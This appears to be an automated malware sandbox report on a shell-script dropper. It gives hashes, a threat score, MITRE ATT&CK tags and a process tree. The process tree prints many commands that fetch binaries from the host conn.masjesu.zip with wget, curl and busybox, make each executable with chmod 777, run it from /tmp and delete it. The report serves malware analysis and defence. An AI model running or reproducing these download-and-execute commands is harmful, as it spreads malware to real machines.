ca6f6dd0b35e3185039cfaea57b698bb3420ac16e537baa554611d42f71995ac

Analysis

max time kernel
78s
max time network
79s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
27/10/2024, 02:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ca6f6dd0b35e3185039cfaea57b698bb3420ac16e537baa554611d42f71995ac.sh
Size 10KB
Sample241027-dc2n4atemq
SHA256 ca6f6dd0b35e3185039cfaea57b698bb3420ac16e537baa554611d42f71995ac
MD5 a1329951e2eba09d1222076e3dd4b047
SHA1 ab745d5eeb288f4b11eb212ecc7ca42d3de79e92
SHA512 fd0e9356a3b477d8e50ecf95446d00e3f0829e1189c56f6592087be740ef52ec0048ba14cbd86b021a7bd793a2364011c811504a66eda3f14968a546fb7c89ab
SSDEEP 192:cVUINuG7Uo9GmNNMuUJmHXeVlhrHXeVlhcxUINuGpUo9GmT:qUINuG7Uo9GmNNMuUJNUINuGpUo9GmT
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
939	chmod
953	chmod
977	chmod
847	chmod
885	chmod
901	chmod
909	chmod
862	chmod
961	chmod
991	chmod
877	chmod
869	chmod
720	chmod
753	chmod
786	chmod
793	chmod
727	chmod
893	chmod
917	chmod
925	chmod
998	chmod
854	chmod
932	chmod
946	chmod
969	chmod
812	chmod
984	chmod
837	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
817	wget
921	wget
949	wget
980	wget
990	busybox
881	wget
973	wget
759	wget
792	busybox
796	wget
889	wget
938	busybox
983	busybox
987	wget
692	wget
858	wget
868	busybox
876	busybox
890	curl
922	curl
929	curl
966	curl
783	busybox
974	curl
908	busybox
924	busybox
968	busybox
719	busybox
952	busybox
994	wget
790	curl
789	wget
828	curl
846	busybox
859	curl
884	busybox
936	curl
950	curl
730	wget
988	curl
851	curl
892	busybox
897	wget
898	curl
960	busybox
708	curl
873	wget
874	curl
905	wget
995	curl
736	curl
865	wget
797	curl
844	curl
916	busybox
958	curl
976	busybox
836	busybox
745	busybox
766	curl
840	wget
850	wget
914	curl
981	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8	curl
File opened for modification	/tmp/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2	curl
File opened for modification	/tmp/PpDMyGc3vl5JiqhrbCM6YN89dU7KIVifqF	curl
File opened for modification	/tmp/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP	curl
File opened for modification	/tmp/tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8	curl
File opened for modification	/tmp/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK	curl
File opened for modification	/tmp/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3	curl
File opened for modification	/tmp/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C	curl
File opened for modification	/tmp/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4	curl
File opened for modification	/tmp/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F	curl
File opened for modification	/tmp/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp	curl
File opened for modification	/tmp/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir	curl
File opened for modification	/tmp/v8N6H1RCr8Q9GO9NGqx0V43h8BqVAtbDfD	curl
File opened for modification	/tmp/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7	curl
File opened for modification	/tmp/v8N6H1RCr8Q9GO9NGqx0V43h8BqVAtbDfD	curl
File opened for modification	/tmp/MGYPRRFyeGSCeq2nZoIz9oVq7xqEBX7A2d	curl
File opened for modification	/tmp/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP	curl
File opened for modification	/tmp/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7	curl
File opened for modification	/tmp/PpDMyGc3vl5JiqhrbCM6YN89dU7KIVifqF	curl
File opened for modification	/tmp/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4	curl
File opened for modification	/tmp/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C	curl
File opened for modification	/tmp/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F	curl
File opened for modification	/tmp/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp	curl
File opened for modification	/tmp/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2	curl
File opened for modification	/tmp/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3	curl
File opened for modification	/tmp/MGYPRRFyeGSCeq2nZoIz9oVq7xqEBX7A2d	curl
File opened for modification	/tmp/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK	curl
File opened for modification	/tmp/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir	curl

/tmp/ca6f6dd0b35e3185039cfaea57b698bb3420ac16e537baa554611d42f71995ac.sh
/tmp/ca6f6dd0b35e3185039cfaea57b698bb3420ac16e537baa554611d42f71995ac.sh
1⤵
PID:687
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:690
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  - System Network Configuration Discovery
  PID:692
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:708
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  - System Network Configuration Discovery
  PID:719
- /bin/chmod
  chmod 777 7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  - File and Directory Permissions Modification
  PID:720
- /tmp/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  ./7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  - Executes dropped EXE
  PID:721
- /bin/rm
  rm 7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  PID:722
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  PID:723
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:724
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  PID:726
- /bin/chmod
  chmod 777 2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /tmp/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  ./2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  - Executes dropped EXE
  PID:728
- /bin/rm
  rm 2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  PID:729
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  - System Network Configuration Discovery
  PID:730
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  - System Network Configuration Discovery
  PID:745
- /bin/chmod
  chmod 777 EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  ./EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  - Executes dropped EXE
  PID:755
- /bin/rm
  rm EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  PID:758
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  - System Network Configuration Discovery
  PID:759
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:766
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  - System Network Configuration Discovery
  PID:783
- /bin/chmod
  chmod 777 PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  ./PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  - Executes dropped EXE
  PID:787
- /bin/rm
  rm PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  PID:788
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  - System Network Configuration Discovery
  PID:789
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:790
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  - System Network Configuration Discovery
  PID:792
- /bin/chmod
  chmod 777 5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  ./5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  - Executes dropped EXE
  PID:794
- /bin/rm
  rm 5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  PID:795
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  - System Network Configuration Discovery
  PID:796
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:797
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  PID:805
- /bin/chmod
  chmod 777 zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  ./zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  PID:816
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  - System Network Configuration Discovery
  PID:817
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  - System Network Configuration Discovery
  PID:836
- /bin/chmod
  chmod 777 JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  ./JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  - Executes dropped EXE
  PID:838
- /bin/rm
  rm JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  PID:839
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  - System Network Configuration Discovery
  PID:840
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:844
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  - System Network Configuration Discovery
  PID:846
- /bin/chmod
  chmod 777 EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  ./EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  - Executes dropped EXE
  PID:848
- /bin/rm
  rm EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  PID:849
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  - System Network Configuration Discovery
  PID:850
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:851
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  PID:853
- /bin/chmod
  chmod 777 BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  ./BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  - Executes dropped EXE
  PID:855
- /bin/rm
  rm BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  PID:857
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  - System Network Configuration Discovery
  PID:858
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:859
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  PID:861
- /bin/chmod
  chmod 777 rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  ./rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  PID:864
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  2⤵
  - System Network Configuration Discovery
  PID:865
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  2⤵
  - System Network Configuration Discovery
  PID:868
- /bin/chmod
  chmod 777 tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  ./tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  2⤵
  - Executes dropped EXE
  PID:870
- /bin/rm
  rm tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  2⤵
  PID:872
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/v8N6H1RCr8Q9GO9NGqx0V43h8BqVAtbDfD
  2⤵
  - System Network Configuration Discovery
  PID:873
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/v8N6H1RCr8Q9GO9NGqx0V43h8BqVAtbDfD
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/v8N6H1RCr8Q9GO9NGqx0V43h8BqVAtbDfD
  2⤵
  - System Network Configuration Discovery
  PID:876
- /bin/chmod
  chmod 777 v8N6H1RCr8Q9GO9NGqx0V43h8BqVAtbDfD
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/v8N6H1RCr8Q9GO9NGqx0V43h8BqVAtbDfD
  ./v8N6H1RCr8Q9GO9NGqx0V43h8BqVAtbDfD
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm v8N6H1RCr8Q9GO9NGqx0V43h8BqVAtbDfD
  2⤵
  PID:880
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MGYPRRFyeGSCeq2nZoIz9oVq7xqEBX7A2d
  2⤵
  - System Network Configuration Discovery
  PID:881
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MGYPRRFyeGSCeq2nZoIz9oVq7xqEBX7A2d
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MGYPRRFyeGSCeq2nZoIz9oVq7xqEBX7A2d
  2⤵
  - System Network Configuration Discovery
  PID:884
- /bin/chmod
  chmod 777 MGYPRRFyeGSCeq2nZoIz9oVq7xqEBX7A2d
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/MGYPRRFyeGSCeq2nZoIz9oVq7xqEBX7A2d
  ./MGYPRRFyeGSCeq2nZoIz9oVq7xqEBX7A2d
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm MGYPRRFyeGSCeq2nZoIz9oVq7xqEBX7A2d
  2⤵
  PID:888
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PpDMyGc3vl5JiqhrbCM6YN89dU7KIVifqF
  2⤵
  - System Network Configuration Discovery
  PID:889
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PpDMyGc3vl5JiqhrbCM6YN89dU7KIVifqF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PpDMyGc3vl5JiqhrbCM6YN89dU7KIVifqF
  2⤵
  - System Network Configuration Discovery
  PID:892
- /bin/chmod
  chmod 777 PpDMyGc3vl5JiqhrbCM6YN89dU7KIVifqF
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/PpDMyGc3vl5JiqhrbCM6YN89dU7KIVifqF
  ./PpDMyGc3vl5JiqhrbCM6YN89dU7KIVifqF
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm PpDMyGc3vl5JiqhrbCM6YN89dU7KIVifqF
  2⤵
  PID:896
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/v8N6H1RCr8Q9GO9NGqx0V43h8BqVAtbDfD
  2⤵
  - System Network Configuration Discovery
  PID:897
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/v8N6H1RCr8Q9GO9NGqx0V43h8BqVAtbDfD
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/v8N6H1RCr8Q9GO9NGqx0V43h8BqVAtbDfD
  2⤵
  PID:900
- /bin/chmod
  chmod 777 v8N6H1RCr8Q9GO9NGqx0V43h8BqVAtbDfD
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/v8N6H1RCr8Q9GO9NGqx0V43h8BqVAtbDfD
  ./v8N6H1RCr8Q9GO9NGqx0V43h8BqVAtbDfD
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm v8N6H1RCr8Q9GO9NGqx0V43h8BqVAtbDfD
  2⤵
  PID:904
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MGYPRRFyeGSCeq2nZoIz9oVq7xqEBX7A2d
  2⤵
  - System Network Configuration Discovery
  PID:905
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MGYPRRFyeGSCeq2nZoIz9oVq7xqEBX7A2d
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MGYPRRFyeGSCeq2nZoIz9oVq7xqEBX7A2d
  2⤵
  - System Network Configuration Discovery
  PID:908
- /bin/chmod
  chmod 777 MGYPRRFyeGSCeq2nZoIz9oVq7xqEBX7A2d
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/MGYPRRFyeGSCeq2nZoIz9oVq7xqEBX7A2d
  ./MGYPRRFyeGSCeq2nZoIz9oVq7xqEBX7A2d
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm MGYPRRFyeGSCeq2nZoIz9oVq7xqEBX7A2d
  2⤵
  PID:912
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PpDMyGc3vl5JiqhrbCM6YN89dU7KIVifqF
  2⤵
  PID:913
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PpDMyGc3vl5JiqhrbCM6YN89dU7KIVifqF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PpDMyGc3vl5JiqhrbCM6YN89dU7KIVifqF
  2⤵
  - System Network Configuration Discovery
  PID:916
- /bin/chmod
  chmod 777 PpDMyGc3vl5JiqhrbCM6YN89dU7KIVifqF
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/PpDMyGc3vl5JiqhrbCM6YN89dU7KIVifqF
  ./PpDMyGc3vl5JiqhrbCM6YN89dU7KIVifqF
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm PpDMyGc3vl5JiqhrbCM6YN89dU7KIVifqF
  2⤵
  PID:920
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  - System Network Configuration Discovery
  PID:921
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:922
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  - System Network Configuration Discovery
  PID:924
- /bin/chmod
  chmod 777 7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  ./7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm 7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
  2⤵
  PID:927
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  PID:931
- /bin/chmod
  chmod 777 2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  ./2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm 2VrFiAXJbtOeUGSbnfdO5hgbe0yHDlktCK
  2⤵
  PID:934
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  - System Network Configuration Discovery
  PID:938
- /bin/chmod
  chmod 777 EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  ./EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  - Executes dropped EXE
  PID:940
- /bin/rm
  rm EPe8bMhyOtbym7UATOY4qcG9aiqgjXaYu4
  2⤵
  PID:941
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  PID:942
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:943
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  PID:945
- /bin/chmod
  chmod 777 EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  ./EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  - Executes dropped EXE
  PID:947
- /bin/rm
  rm EbsDFM59ye6edMTLMrLcAh9Hlr8qWpl1Ir
  2⤵
  PID:948
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  - System Network Configuration Discovery
  PID:949
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:950
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  - System Network Configuration Discovery
  PID:952
- /bin/chmod
  chmod 777 BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
